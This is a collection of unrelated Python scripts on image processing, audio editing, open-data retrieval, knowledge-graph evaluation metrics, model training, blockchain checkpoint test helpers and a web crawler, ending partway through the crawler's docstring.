import cv2
import sys
import numpy as np

def nothing(x):
    pass

windowName = "Original Image"
windowName2 = "Edges"
keep_processing = True

def illuminationHSV(image):
    rows,cols,channels = image.shape
    image_hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
    h,s,v = cv2.split(image_hsv)
    cv2.normalize(h, h, alpha=0, beta=127, norm_type=cv2.NORM_MINMAX)
    cv2.normalize(s, s, alpha=0, beta=127, norm_type=cv2.NORM_MINMAX)
    newImage = cv2.add(h,s)
    cv2.normalize(newImage, newImage, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX)
    return newImage

if (len(sys.argv) == 2):

    cv2.namedWindow(windowName, cv2.WINDOW_NORMAL)
    cv2.namedWindow(windowName2, cv2.WINDOW_NORMAL)

    lower_threshold = 25
    cv2.createTrackbar("lower", windowName2, lower_threshold, 255, nothing)
    upper_threshold = 120
    cv2.createTrackbar("upper", windowName2, upper_threshold, 255, nothing)
    smoothing_neighbourhood = 3
    cv2.createTrackbar("smoothing", windowName2, smoothing_neighbourhood, 15, nothing)
    sobel_size = 3
    cv2.createTrackbar("sobel size", windowName2, sobel_size, 7, nothing)

    image = cv2.imread(sys.argv[1])

    while(keep_processing):

        lower_threshold = cv2.getTrackbarPos("lower", windowName2);
        upper_threshold = cv2.getTrackbarPos("upper", windowName2);
        smoothing_neighbourhood = cv2.getTrackbarPos("smoothing", windowName2);
        sobel_size = cv2.getTrackbarPos("sobel size", windowName2);

        smoothing_neighbourhood = max(3, smoothing_neighbourhood)
        if not(smoothing_neighbourhood % 2):
            smoothing_neighbourhood = smoothing_neighbourhood + 1

        sobel_size = max(3, sobel_size)
        if not(sobel_size % 2):
            sobel_size = sobel_size + 1

        gray_frame = illuminationHSV(image)

        # performing smoothing on the image using a 5x5 smoothing mark (see manual entry for GaussianBlur())

        smoothed = cv2.GaussianBlur(gray_frame, (smoothing_neighbourhood, smoothing_neighbourhood), 0)

        # perform canny edge detection

        edges = cv2.Canny(smoothed, lower_threshold, upper_threshold, apertureSize=sobel_size)

        cv2.imshow(windowName, image)
        cv2.moveWindow(windowName, 0, 144)

        cv2.imshow(windowName2, edges)
        cv2.moveWindow(windowName2, 640, 0)

        key = cv2.waitKey(40) & 0xFF; # wait 40ms (i.e. 1000ms / 25 fps = 40 ms)

        # It can also be set to detect specific key strokes by recording which key is pressed

        # e.g. if user presses "x" then exit

        if (key == ord('x')):
            keep_processing = False;

    cv2.destroyAllWindows()

else:
    print("No image file specified.")


import sys, os
sys.path.append(os.path.dirname(sys.path[0]))
from media import *

def decreaseVolume(sound):
    samples = getSamples(sound)
    for index in range(len(samples)):
        sample = samples[index]
        value = getSampleValue(sample)
        setSampleValue(sample, value * 0.5)

s = makeSound("credits.wav")
decreaseVolume(s)
saveSound(s)


###############################################################################
# Helper functions to enrich data with public event data
###############################################################################

import pandas as pd
import json
import urllib
import argparse

def get_event_json():
    """parse public event data from json at amsterdam.data.nl
    Args:
        None
    Returns:
        * pd.DataFrame: data frame with events in Amsterdam
    """

    url = 'https://open.data.amsterdam.nl/Evenementen.json'
    with urllib.request.urlopen(url) as url:
        data = json.loads(url.read().decode('utf-8'))
    # extract values from json
    results = []

    for item in data:
        result = {}

        result['title'] = item['details']['en']['title']
        result['name'] = item['location']['name']
        result['adress'] = item['location']['adress']
        result['zipcode'] = item['location']['zipcode']
        result['lat'] = item['location']['latitude']
        result['lon'] = item['location']['longitude']
        result['dates'] = item['dates']

        results.append(result)

    # convert to Pandas Dataframe
    event_df = pd.DataFrame(results)

    # extract start and enddate from nested lists
    event_df = pd.concat([event_df.drop(['dates'], axis=1), event_df['dates'].apply(pd.Series)], axis=1)
    # replace NaNs with startdates, enddates
    for row in event_df.loc[event_df.singles.isnull(), 'singles'].index:
        event_df.at[row, 'singles'] = [event_df.loc[row, 'startdate'],event_df.loc[row, 'enddate']]
    # extract first date, last date from singles column
    event_df['startdate'] = [item[0] for item in event_df.singles]
    event_df['enddate'] = [item[-1] for item in event_df.singles]

    event_df = event_df.drop('singles', axis=1)

    for col in ['startdate', 'enddate']:
        event_df[col] = pd.to_datetime(event_df[col], format = '%d-%m-%Y')

    for col in ['lon', 'lat']:
        event_df[col] = event_df[col].str.replace(',', '.').astype('float64')

    # add column event duration in days
    event_df['no_days'] = (event_df.enddate - event_df.startdate).astype('timedelta64[D]') + 1

    return event_df

def parser():
    """Parser function to run arguments from the command line and to add description to sphinx."""
    parser = argparse.ArgumentParser(description="""
    parse public event data from json at amsterdam.data.nl
    Args:
        None
    Returns:
        * pd.DataFrame: data frame with events in Amsterdam
    command line example:
        get_event_json()
    """)
    return parser

def main():
    args = parser().parse_args()
    get_event_json()

if __name__ == "__main__":
    main()


import numpy as np
from typing import Union
import torch
import pandas as pd

class KGLPMetrics:

    def __init__(self):
        self._hits_1 = 0.0
        self._hits_5 = 0.0
        self._hits_10 = 0.0
        self.count = 0.0
        self._mrr = 0.0
        self.ranks = list()

    @property
    def dataframe(self):
        return {
            'Hits@1':   self.hits_at_1,
            'Hits@5':   self.hits_at_5,
            'Hits@10':  self.hits_at_10,
            'MRR':      self.mrr,
            '#HITS@1':  self._hits_1,
            '#HITS@10': self._hits_10,
            '#HITS@5':  self._hits_5,
            '#MRR':     self._mrr,
            '#COUNT':   self.count
        }

    @property
    def hits_at_1(self):
        if self.count == 0:
            return 0.0
        return self._hits_1 / self.count

    @property
    def hits_at_5(self):
        if self.count == 0:
            return 0.0
        return self._hits_5 / self.count

    @property
    def hits_at_10(self):
        if self.count == 0:
            return 0.0
        return self._hits_10 / self.count

    @property
    def mrr(self):
        if self.count == 0:
            return 0.0
        return self._mrr / self.count

    def zeros(self):
        self._hits_1 = 0.0
        self._hits_5 = 0.0
        self._hits_10 = 0.0
        self.count = 0.0
        self._mrr = 0.0

    def clear(self):
        self.zeros()

    def copy(self):
        result = KGLPMetrics()
        result._hits_1 = self._hits_1
        result._hits_5 = self._hits_5
        result._hits_10 = self._hits_10
        result._mrr = self._mrr
        result.count = self.count
        result.ranks = self.ranks[:]
        return result

    @property
    def raw(self) -> str:
        result = dict()
        result['hits@1'] = self._hits_1
        result['hits@5'] = self._hits_5
        result['hits@10'] = self._hits_10
        result['count'] = self.count
        result['mrr'] = self._mrr
        result['ranks'] = self.ranks
        return str(result)

    def __str__(self):
        result = dict()
        result['Hits@1'] = f"{self.hits_at_1:.3f}"
        result['Hits@5'] = f"{self.hits_at_5:.3f}"
        result['Hits@10'] = f"{self.hits_at_10:.3f}"
        result['MRR'] = f"{self.mrr:.3f}"
        return str(result)

    def to_dict(self) -> dict:
        result = dict()
        result['Hits@1'] = f"{self.hits_at_1:.3f}"
        result['Hits@5'] = f"{self.hits_at_5:.3f}"
        result['Hits@10'] = f"{self.hits_at_10:.3f}"
        result['MRR'] = f"{self.mrr:.3f}"
        return result

    def __add__(self, other):
        if isinstance(other, KGLPMetrics):
            result = self.copy()
            result._hits_1 += other._hits_1
            result._hits_5 += other._hits_5
            result._hits_10 += other._hits_10
            result.count += other.count
            result._mrr += other._mrr
            result.ranks.extend(other.ranks)
            return result
        else:
            raise NotImplementedError

    def __gt__(self, other):
        if isinstance(other, KGLPMetrics):
            return self.mrr > other.mrr
        else:
            raise NotImplementedError

    def __eq__(self, other):
        if isinstance(other, KGLPMetrics):
            return self.mrr == other.mrr
        else:
            raise NotImplementedError

    def update(self, rank: int):
        self.ranks.append(rank)
        self.count += 1
        self._mrr += 1.0 / rank
        if rank <= 1:
            self._hits_1 += 1
            self._hits_10 += 1
            self._hits_5 += 1
        elif rank <= 5:
            self._hits_5 += 1
            self._hits_10 += 1
        elif rank <= 10:
            self._hits_10 += 1
        else:
            return

    def perform_metrics_numpy(self, scores: np.ndarray,
                              golden_idx: int = 0, find_max: bool = True):

        sort = list(np.argsort(scores, kind='stable'))  # [::-1]  # reverse a list
        if find_max:
            sort = sort[::-1]
        rank = sort.index(golden_idx) + 1

        self.update(rank)

    def perform_metrics(self, scores: Union[np.ndarray, torch.Tensor, list],
                        golden_idx: int = 0, find_max: bool = True):
        if isinstance(scores, np.ndarray):
            self.perform_metrics_numpy(scores, golden_idx, find_max)
        elif isinstance(scores, torch.Tensor):
            s = scores.detach().cpu().numpy()
            self.perform_metrics_numpy(s, golden_idx, find_max)
        else:
            s = np.array(scores)
            self.perform_metrics_numpy(s, golden_idx, find_max)

class EvalLogItem:
    def __init__(self, metrics: KGLPMetrics, epoch: int, ckpt_fn: str):
        self.metrics = metrics
        self.epoch = epoch
        self.ckpt = ckpt_fn

    def __eq__(self, other):
        if isinstance(other, EvalLogItem):
            return other.metrics == self.metrics and self.epoch == other.epoch
        else:
            raise NotImplementedError

    def __ge__(self, other):
        if isinstance(other, EvalLogItem):
            return self.metrics >= other.metrics

    def __lt__(self, other):
        if isinstance(other, EvalLogItem):
            return self.metrics < other.metrics
        else:
            raise NotImplementedError


import sys
from parameters import Parameters
from nsoptcaller import NsoptCaller
from gaussfit import Gaussfit
from datamanager import Datamanager
#from memory_profiler import profile
import numpy as np
import pickle

param = Parameters(interval, samples, center_lecs=lec_center)
nsopt = NsoptCaller()
gauss = Gaussfit()
dm = Datamanager(echo=False)
gauss.save_fig = save_fig
gauss.save_path = save_path

if dm.num_matches(training_tags) <= 0 or dm.num_matches(validation_tags) <= 0:
        sys.exit('Check your tags. No matched found in database.')
else:
    #Set empty arrays with zeros for training and validation data
    train_obs = np.array([0])
    train_energy = np.array([0])
    train_lecs = np.array(np.zeros(LEC_LENGTH))

    #Read database data with the specified tags
    for row in dm.read(training_tags):
        train_obs = np.vstack((train_obs, row.observable))
        train_energy = np.vstack((train_energy, row.energy))
        train_lecs = np.vstack((train_lecs, row.LECs))

    # Clean up initialized zeros
    train_obs = np.delete(train_obs, 0, 0)
    train_energy = np.delete(train_energy, 0, 0)
    train_lecs = np.delete(train_lecs, 0, 0)

    # Set up Gaussfit stuff and plot our model error
    gauss.set_gp_kernel(kernel=kernel, in_dim=LEC_LENGTH, lengthscale=lengthscale,
            multi_dim=multi_dim)

    if load_params:
        gauss.load_model_parameters(train_obs, train_lecs, params_load_path)
    else:
        # Add energy to lecs for training
        train_lecs = np.hstack((train_lecs, train_energy))
        train_gp_model(train_obs, train_lecs)

    if save_params:
        gauss.save_model_parameters(params_save_path, training_tags, kernel, LEC_LENGTH,
                                    lengthscale, multi_dim, rescale_data)

    val_obs = np.array([0])
    val_energy = np.array([0])
    val_lecs = np.array(np.zeros(LEC_LENGTH))
    #validation_tags[1] = 'validation' + str(sample)
    for row in dm.read(validation_tags):
        val_obs = np.vstack((val_obs, row.observable))
        val_energy = np.vstack((val_energy, row.energy))
        val_lecs = np.vstack((val_lecs, row.LECs))

    val_obs = np.delete(val_obs, 0, 0)
    val_energy = np.delete(val_energy, 0, 0)
    val_lecs = np.delete(val_lecs, 0,0)

    # Add energy to lecs for validation
    val_lecs = np.hstack((val_lecs, val_energy))


"""JSON Reader."""

import json
import re
from typing import Dict, Generator, List, Optional

from gpt_index.readers.base import BaseReader
from gpt_index.readers.schema.base import Document

def _depth_first_yield(
    json_data: Dict, levels_back: int, path: List[str]
) -> Generator[str, None, None]:
    """Do depth first yield of all of the leaf nodes of a JSON.

    Combines keys in the JSON tree using spaces.

    If levels_back is set to 0, prints all levels.

    """
    if isinstance(json_data, dict):
        for key, value in json_data.items():
            new_path = path[:]
            new_path.append(key)
            yield from _depth_first_yield(value, levels_back, new_path)
    elif isinstance(json_data, list):
        for _, value in enumerate(json_data):
            yield from _depth_first_yield(value, levels_back, path)
    else:
        new_path = path[-levels_back:]
        new_path.append(str(json_data))
        yield " ".join(new_path)

class JSONReader(BaseReader):
    """JSON reader.

    Reads JSON documents with options to help suss out relationships between nodes.

    Args:
        levels_back (int): the number of levels to go back in the JSON tree, 0
        if you want all levels. If levels_back is None, then we just format the
        JSON and make each line an embedding

    """

    def __init__(self, levels_back: Optional[int] = None) -> None:
        """Initialize with arguments."""
        super().__init__()
        self.levels_back = levels_back

    def load_data(self, input_file: str) -> List[Document]:
        """Load data from the input file."""
        with open(input_file, "r") as f:
            data = json.load(f)
            if self.levels_back is None:
                # If levels_back isn't set, we just format and make each
                # line an embedding
                json_output = json.dumps(data, indent=0)
                lines = json_output.split("\n")
                useful_lines = [
                    line for line in lines if not re.match(r"^[{}\[\],]*$", line)
                ]
                return [Document("\n".join(useful_lines))]
            elif self.levels_back is not None:
                # If levels_back is set, we make the embeddings contain the labels
                # from further up the JSON tree
                lines = [*_depth_first_yield(data, self.levels_back, [])]
                return [Document("\n".join(lines))]


maxx = 0
count = 0
while True:
    vvod = int(input())
    if vvod == 0: break
    # если vvod больше чем maxx то maxx присваивам значение vvod и результат будет = 1:
    if vvod > maxx:
        maxx = vvod
        count =1
    # если vvod = maxx то результат всегда будет +1 за каждое одинаковое значение:
    elif vvod == maxx:
        count += 1
print(count)


"""Return the version number from running ``dot -V``."""

import logging
import re
import subprocess
import typing

from . import dot_command
from . import execute

VERSION_PATTERN = re.compile(r'''
                             graphviz[ ]
                             version[ ]
                             (\d+)\.(\d+)
                             (?:\.(\d+)
                               (?:
                                 ~dev\.\d{8}\.\d{4}
                                 |
                                 \.(\d+)
                               )?
                             )?
                             [ ]
                             ''', re.VERBOSE)

log = logging.getLogger(__name__)

def version() -> typing.Tuple[int, ...]:
    """Return the upstream version number tuple from ``stderr`` of ``dot -V``.

    Returns:
        Two, three, or four ``int`` version ``tuple``.

    Raises:
        graphviz.ExecutableNotFound: If the Graphviz executable is not found.
        graphviz.CalledProcessError: If the exit status is non-zero.
        RuntimeError: If the output cannot be parsed into a version number.

    Example:
        >>> doctest_mark_exe()
        >>> import graphviz
        >>> graphviz.version()  # doctest: +ELLIPSIS
        (...)

    Note:
        Ignores the ``~dev.<YYYYmmdd.HHMM>`` portion of development versions.

    See also:
        Upstream release version entry format:
        https://gitlab.com/graphviz/graphviz/-/blob/f94e91ba819cef51a4b9dcb2d76153684d06a913/gen_version.py#L17-20
    """
    cmd = [dot_command.DOT_BINARY, '-V']
    proc = execute.run_check(cmd,
                             stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                             encoding='ascii')

    ma = VERSION_PATTERN.search(proc.stdout)
    if ma is None:
        raise RuntimeError(f'cannot parse {cmd!r} output: {proc.stdout!r}')

    return tuple(int(d) for d in ma.groups() if d is not None)


#! /usr/bin/env python
# vim: set fileencoding=utf-8

import sys
import json

def main():
    args = sys.argv[1:]
    fn = args[0]
    with open(fn) as fp:
        d = json.load(fp)
    # Using sorted() to get same results in Python 2 and 3.
    for k, v in sorted(d.items()):
        assert isinstance(v, list)
        assert 0 < len(v) < 4
        # print(k, v)
        print('%-40s %s' % (k, ' '.join('%d' % n for n in v)))

main()


# -*- coding: utf-8 -*-
import cv2
import os

def main():
    org_w_h = (2400, 1600)
    # scale_w_h = (480, 320) # multiple 32, and w:h = 3:2
    # scale_w_h = (192, 128)
    # scale_w_h = (384, 256)
    # scale_w_h = (576, 384)
    # scale_w_h = (672, 448)
    # scale_w_h = (768, 512)
    scale_w_h = (960, 640)
    # scale_w_h = (1920, 1280)

    if scale_w_h[0] % 32 !=0:
        print('you should w can be divided 32.')
        exit(1)

    if scale_w_h[1] % 32 !=0:
        print('you should h can be divided 32.')
        exit(1)

    ori_anno_txt = '/usr/local/wk/ys201810/od_word/datasets/object_detection/andon/train.txt'
    out_anno_txt = '/usr/local/wk/ys201810/od_word/datasets/object_detection/andon/train_' + str(scale_w_h[0]) + '_' + str(scale_w_h[1]) + '.txt'
    out_image_path = '/Volumes/Transcend/open_image_dataset_v4/image/all_image_resize_' + str(scale_w_h[0]) + '_' + str(scale_w_h[1]) + '/'

    if not os.path.exists(out_image_path):
        os.mkdir(out_image_path)

    print('org_size:' + str(org_w_h) + ' rescale:' + str(scale_w_h) + ' rate:' + str(scale_w_h[0] / org_w_h[0]))

    with open(out_anno_txt, 'a') as outf:
        with open(ori_anno_txt, 'r') as inf:
            for line in inf:
                out_str = ''
                line = line.rstrip()
                print('org line:', line)
                vals = line.split(' ')
                image_path = vals[0]
                obj_num = len(vals) - 1
                img = cv2.imread(image_path)
                img = cv2.resize(img, scale_w_h)

                out_image_path = image_path.replace('_' + str(org_w_h[0]) + '_' + str(org_w_h[1]), '_' + str(scale_w_h[0]) + '_' + str(scale_w_h[1]))
                # out_image_path = out_image_path + image_path.split('/')[-1].split('.')[0] + str(scale_w_h[0]) + '_' + str(scale_w_h[1]) + image_path.split('/')[-1].split('.')[1]

                out_str = out_image_path + ' '

                for i in range(obj_num):
                    annottations = vals[i + 1].split(',')
                    x1 = int(annottations[0])
                    y1 = int(annottations[1])
                    x2 = int(annottations[2])
                    y2 = int(annottations[3])
                    cate = annottations[4]

                    x1 = int(x1 * (scale_w_h[0] / org_w_h[0]))
                    x2 = int(x2 * (scale_w_h[0] / org_w_h[0]))
                    y1 = int(y1 * (scale_w_h[1] / org_w_h[1]))
                    y2 = int(y2 * (scale_w_h[1] / org_w_h[1]))

                    # cv2.rectangle(img, (x1, y1), (x2, y2), (0, 0, 255), 2)

                    if i == obj_num -1:
                        out_str = out_str + ','.join([str(x1), str(y1), str(x2), str(y2), cate]) + '\n'
                    else:
                        out_str = out_str + ','.join([str(x1), str(y1), str(x2), str(y2), cate]) + ' '

                # cv2.imshow("img", img)
                # cv2.waitKey(0)
                # cv2.destroyAllWindows()
                cv2.imwrite(out_image_path, img)

                outf.write(out_str)
                print('cng line:', out_str)

if __name__ == '__main__':
    main()


from typing import List
class Solution:
    def decode(self, encoded: List[int], first: int) -> List[int]:
        ans = [first]
        for i in encoded:
            ans.append(ans[-1]^i)
        return ans

if __name__ == '__main__':
    print(Solution().decode([6,2,7,3], 4))


import os
import argparse
import math
from typing import NoReturn

import torch
from torch.utils.data.dataloader import DataLoader
from torch.utils.data import Subset
from torch.optim import SGD, lr_scheduler
from torch.hub import load_state_dict_from_url

from dataset import (
    get_coco_dataset,
    get_number_of_classes,
    get_model_categories_metadata,
)
from model import get_fasterrcnn_resnet50_fpn
from engine import train_one_epoch, evaluate
from utils import collate_fn

# ### Global Variables ###
# ## Model ##
TRAINABLE_BACKBONE_LAYERS = 3
# ## Data Fetching ##
BATCH_SIZE = 2
NUM_WORKERS = 2
# ## Optimization ##
LEARNING_RATE = 0.005 * BATCH_SIZE / 4  # Apply linear scaling rule
MOMENTUM = 0.9
WEIGHT_DECAY = 0.0005
STEP_SIZE = 3
GAMMA = 0.1
# ## Training ##
NUM_EPOCHS = 10
RATIO_TRAINING_SPLIT = 0.8
# ## Logging ##
PRINT_FREQUENCY = 10

def train(dataset_path: str) -> NoReturn:
    """Train an object detection model on the given dataset. The
    script will store a snapshot of the model after each epoch,
    containing the model's weights and the mapping between the
    model's output and the categories. Those snapshots can directly
    serve as input to the "detect.py" script.

    Args:
        dataset_path (str): path to the coco training dataset directory.

    Returns:
        NoReturn: [description]
    """
    model_output_path = os.path.join(
        "outputs", "models", os.path.basename(dataset_path)
    )
    os.makedirs(model_output_path, exist_ok=True)
    device = torch.device("cuda") if torch.cuda.is_available() else torch.device("cpu")
    print("Running training on device {}".format(device))
    train_dataset = get_coco_dataset(dataset_path, train=True)
    validation_dataset = get_coco_dataset(dataset_path, train=False)
    indices = torch.randperm(len(train_dataset)).tolist()
    train_samples = math.ceil(RATIO_TRAINING_SPLIT * len(train_dataset))
    train_dataset = Subset(train_dataset, indices[:train_samples])
    validation_dataset = Subset(validation_dataset, indices[train_samples:])
    training_dataloader = DataLoader(
        train_dataset,
        batch_size=BATCH_SIZE,
        num_workers=NUM_WORKERS,
        shuffle=True,
        collate_fn=collate_fn,
    )
    validation_dataloader = DataLoader(
        validation_dataset,
        batch_size=BATCH_SIZE,
        num_workers=NUM_WORKERS,
        shuffle=False,
        collate_fn=collate_fn,
    )
    model = get_fasterrcnn_resnet50_fpn(
        trainable_backbone_layers=TRAINABLE_BACKBONE_LAYERS,
        number_classes=get_number_of_classes(train_dataset.dataset),
    )
    model.to(device)
    # construct an optimizer
    params = [p for p in model.parameters() if p.requires_grad]
    optimizer = SGD(
        params, lr=LEARNING_RATE, momentum=MOMENTUM, weight_decay=WEIGHT_DECAY
    )
    # and a learning rate scheduler
    lr_scheduler_training = lr_scheduler.StepLR(
        optimizer, step_size=STEP_SIZE, gamma=GAMMA
    )

    for epoch in range(NUM_EPOCHS):
        train_one_epoch(
            model,
            optimizer,
            training_dataloader,
            device,
            epoch,
            print_freq=PRINT_FREQUENCY,
        )
        torch.save(
            {
                "state_dict": model.state_dict(),
                "categories": get_model_categories_metadata(train_dataset.dataset),
            },
            os.path.join(model_output_path, f"epoch_{epoch}.pth"),
        )
        lr_scheduler_training.step()
        # evaluate on the test dataset
        evaluate(model, validation_dataloader, device=device)

def main():
    parser = argparse.ArgumentParser(description="Train a model on a coco dataset.")
    parser.add_argument(
        "--dataset-path",
        dest="dataset_path",
        help="path to your coco dataset directory",
        required=True,
    )
    args = parser.parse_args()
    train(args.dataset_path)

if __name__ == "__main__":
    main()


from decimal import Decimal
from typing import List, Dict, Callable, Any, Union

from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey

from abcckpt import ckptParser
from abcckpt import fast_vrf
from abccore.DAG import Wallet
from abccore.checkpoint_service import CheckpointService
from abccore.prefix_tree import Tree
from abcnet import transcriber
from abcnet.services import BaseApp
from abcnet.structures import MsgType, Message
from abcckpt.ckptItems import CkptItemType, Priority, CkptHash, CkptData, ValidatorVote, MajorityVotes
from abcckpt.ckptParser import CkptItemsParser
from abcckpt.ckpt_creation_state import CkptCreationState
from abcckpt.content_handler import ContentHandler
from abcckpt.hash_handler import HashHandler
from abcckpt.pre_checkpoint import PreCheckpoint, AgentService, PreCkptItemProcessor
from abcckpt.prio_cr_handler import PriorityCrHandler
from abcckpt.prio_handler import PriorityHandler
from abcckpt.proposal_cr_handler import ProposalCrHandler
from abcckpt.stab_abc_consens import StabVotingHandler
from abcckpt.vote_cr_handler import VoteCrHandler

def inject_ckpt_items_into_oracle():
    from abcnet import settings
    type_oracle = settings.NetStatSettings.item_type_oracle()
    type_oracle.update({
        CkptItemType.PRIORITY: "PRIO",
        CkptItemType.CKPT_HASH: "CKPT_HASH",
        CkptItemType.VALVOTE: "VOTE",
        CkptItemType.CKPT_DATA: "CKPT_DATA",
        CkptItemType.MAJVOTES: "MAJORITY_VOTES"
    })
    packer_oracle = settings.NetStatSettings.item_packer_oracle()

    def pack_state(state: CkptCreationState) -> Dict:
        return {
            "last_common_string": state.last_common_string.hex(),
            "round": state.round,
            "step_status": state.step_status.name,
            "chosen_validator": state.chosen_validator.hex() if state.chosen_validator is not None else 'Not set',
            "content_hash": state.content_hash.hex() if state.content_hash is not None else 'Not set',
            "current_common_str": state.current_common_str.hex()
        }

    def pack_priority(p: Priority) -> Dict:
        return {
            "state": pack_state(p.state),
            "pub_k": p.pub_k.hex(),
            "stake": str(p.stake),
            "proof": p.proof.hex()[:15] + "...",
            "votes": p.votes
        }

    def pack_hash(p: CkptHash) -> Dict:
        return {
            "state": pack_state(p.state),
            "checkpoint hash": p.ckpt_hash.hex(),
        }

    def pack_content(p: CkptData) -> Dict:
        return {
            "state": pack_state(p.state),
            "checkpoint hash": p.ckpt_hash.hex(),
            # "total_stake": str(p.ckpt_total_stake),
            # "total coins": p.ckpt_total_coins,
        }

    def pack_vote(p: ValidatorVote) -> Dict:
        return {
            "state": pack_state(p.state),
            "voted item type": p.voted_item_type,
            "voted item id": p.voted_item_id,
        }

    def pack_majority_vote(p: MajorityVotes) -> Dict:
        return {
            "state": pack_state(p.state),
            "voted item id": p.voted_item_qualifier
            # number of votes?
        }

    parser = CkptItemsParser()
    packer_oracle.update({
        CkptItemType.PRIORITY: lambda b:
        pack_priority(parser.decode_item_bytes(CkptItemType.PRIORITY, b)),
    })
    packer_oracle.update({
        CkptItemType.CKPT_HASH: lambda b:
        pack_hash(parser.decode_item_bytes(CkptItemType.CKPT_HASH, b)),
    })
    packer_oracle.update({
        CkptItemType.CKPT_DATA: lambda b:
        pack_content(parser.decode_item_bytes(CkptItemType.CKPT_DATA, b)),
    })
    packer_oracle.update({
        CkptItemType.MAJVOTES: lambda b:
        pack_majority_vote(parser.decode_item_bytes(CkptItemType.MAJVOTES, b)),
    })
    packer_oracle.update({
        CkptItemType.VALVOTE: lambda b:
        pack_vote(parser.decode_item_bytes(CkptItemType.VALVOTE, b)),
    })

def pseudo_pc(common_str: bytes = None) -> PreCheckpoint:
    if common_str is None:
        common_str = b'test_common_str'
    return PreCheckpoint(CkptCreationState(common_str))

def add_prio_app(ba: BaseApp, ckpt_service: CheckpointService, pc: PreCheckpoint) \
        -> PriorityHandler:
    if pc is None:
        pc = pseudo_pc()
    ph = PriorityHandler(pre_ckpt=pc, ckpt_service=ckpt_service)
    ba.register_app_layer("prio_handler", ph)
    return ph

def add_hash_app(ba: BaseApp, pc: PreCheckpoint) \
        -> HashHandler:
    if pc is None:
        pc = pseudo_pc()
    ph = HashHandler(pre_ckpt=pc)
    ba.register_app_layer("hash_handler", ph)
    return ph

def add_stab_vote_handler_app(ba: BaseApp, ckpt_service: CheckpointService, pc: PreCheckpoint,
                              processors: List[PreCkptItemProcessor] = None) \
        -> StabVotingHandler:
    svh = StabVotingHandler(pc, ckpt_service)
    if processors is not None:
        svh.set_handlers(*processors)
    ba.register_app_layer("stab_vote_handler", svh)
    return svh

def ckpt_protocol_app(ba: BaseApp, ckpt_service: CheckpointService, agent: AgentService, pc: PreCheckpoint):
    ph = add_prio_app(ba, ckpt_service, pc)
    hh = add_hash_app(ba, pc)
    ch = ContentHandler(pc, agent, ckpt_service)
    ba.register_app_layer("content_handler", ch)

    svh = add_stab_vote_handler_app(ba, ckpt_service, pc)

    priority_creator = PriorityCrHandler(pc, ckpt_service, agent)
    ba.register_app_layer("priority_creator", priority_creator)
    vote_creator = VoteCrHandler(pc, agent)
    ba.register_app_layer("vote_creator", vote_creator)
    proposal_creator = ProposalCrHandler(pc, agent, ckpt_service)
    ba.register_app_layer("proposal_creator", proposal_creator)

    ph.set_handlers(vote_creator)
    hh.set_handlers(vote_creator)
    ch.set_handlers(vote_creator)
    svh.set_handlers(ph, hh, ch)

    priority_creator.set_handlers(ph)
    vote_creator.set_handlers(svh)
    proposal_creator.set_handler(hh, ch)

class CheckpointServiceTestCase(CheckpointService):
    private_keys: List[Ed25519PrivateKey] = []

    pub_keys: List[bytes] = []

    stake_distribution: Dict[bytes, Decimal] = {}

    owner1: Ed25519PrivateKey
    owner1_pub_key: bytes

    @classmethod
    def stake_sum(cls) -> Decimal:
        return sum(cls.stake_distribution.values())

    @classmethod
    def delegated_stake(cls, pb_key) -> Decimal:
        return cls.stake_distribution.get(pb_key, Decimal(0.0))

    @classmethod
    def owned_wallets(cls, pb_key) -> List[Wallet]:
        raise Exception("This method should not be used in the checkpoint creation tests.")

class CheckpointCase1(CheckpointServiceTestCase):
    validator_count = 10

    private_keys: List[Ed25519PrivateKey] = []

    pub_keys: List[bytes] = []

    stake_distribution: Dict[bytes, Decimal] = {}

    owner1: Ed25519PrivateKey

    owner1_pub_key: bytes

    @classmethod
    def init_case(cls):
        for i in range(cls.validator_count):
            private_key = fast_vrf.gen_key(i)
            pub_key = fast_vrf.encode_pub_key(private_key.public_key())
            cls.private_keys.append(private_key)
            cls.pub_keys.append(fast_vrf.encode_pub_key(private_key.public_key()))
            cls.stake_distribution[pub_key] = Decimal(100.0)

            del private_key
            del pub_key

        cls.owner1: Ed25519PrivateKey = fast_vrf.gen_key("Owner_1")
        cls.owner1_pub_key: bytes = fast_vrf.encode_pub_key(cls.owner1.public_key())
        cls.stake_distribution[cls.owner1_pub_key] = Decimal(50.0)

    @classmethod
    def get_ckpt_id(cls):
        return b'test_common_str'

    @classmethod
    def get_height(cls):
        return 0

    @classmethod
    def get_ckpt_origin(self) -> bytes:
        return b'test_common_str'

CheckpointCase1.init_case()
CheckpointCase1: CheckpointService

class AgentSerivceMock(AgentService):

    def __init__(self, pv_keys: List[Ed25519PrivateKey], dag):
        self.pv_keys = pv_keys
        self.dag = dag

    def get_keypairs(self) -> List[Ed25519PrivateKey]:
        return self.pv_keys

    def get_DAG(self) -> Tree:
        return self.dag

parser = ckptParser.CkptItemsParser()

def ckptitems_matcher(filter_msg_type: MsgType, filter_item_type: CkptItemType):
    assert filter_msg_type in [MsgType.items_content, MsgType.items_request,
                               MsgType.items_checklist, MsgType.items_notfound]

    def annotation(items_matcher: Callable[[List[Union[str, Any]]], Any]):
        def new_matcher(msg: Message):
            m_type = transcriber.parse_message_type(msg)
            if m_type != filter_msg_type:
                return False

            if filter_msg_type == MsgType.items_content:
                items = transcriber.parse_item_contents(msg)
            else:
                items = transcriber.parse_item_qualifier(msg)
            filtered_items = list(map(lambda i: i[1], filter(lambda i: i[0] == filter_item_type, items)))
            if not filtered_items:
                return False
            if filter_msg_type == MsgType.items_content:
                filtered_items = [parser.decode_item_bytes(filter_item_type, i) for i in filtered_items]

            return items_matcher(filtered_items)

        return new_matcher

    return annotation


#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''Crawl web pages and save visual features into CSV

Web page are crawled by CEF, and visual features are extracted by Javascript
executed under CEF.
'''

from __future__ import division
import argparse
import codecs
import logging
import os
import re
import time
import threading

from fakechrome import fakechrome, cef
from lxml import etree, objectify
from utf8csv import UnicodeWriter
from utils import configLogger, escape_url, condense_space, abbreviate, html2dom, \
                  gethost, samedomain, str2unicode, any2unicode

logger = logging.getLogger('crawler')

def url2filenames(url):
    assert(url.startswith('http://') or url.startswith('https://'))
    filebase = ' '.join(url.replace('/',' ').split()[1:])
    return filebase

###################################
# Main modules
#

def collect_features(browser):
    '''
    Read DOM attributes from the current page loaded by the browser, derive page features

    Args:
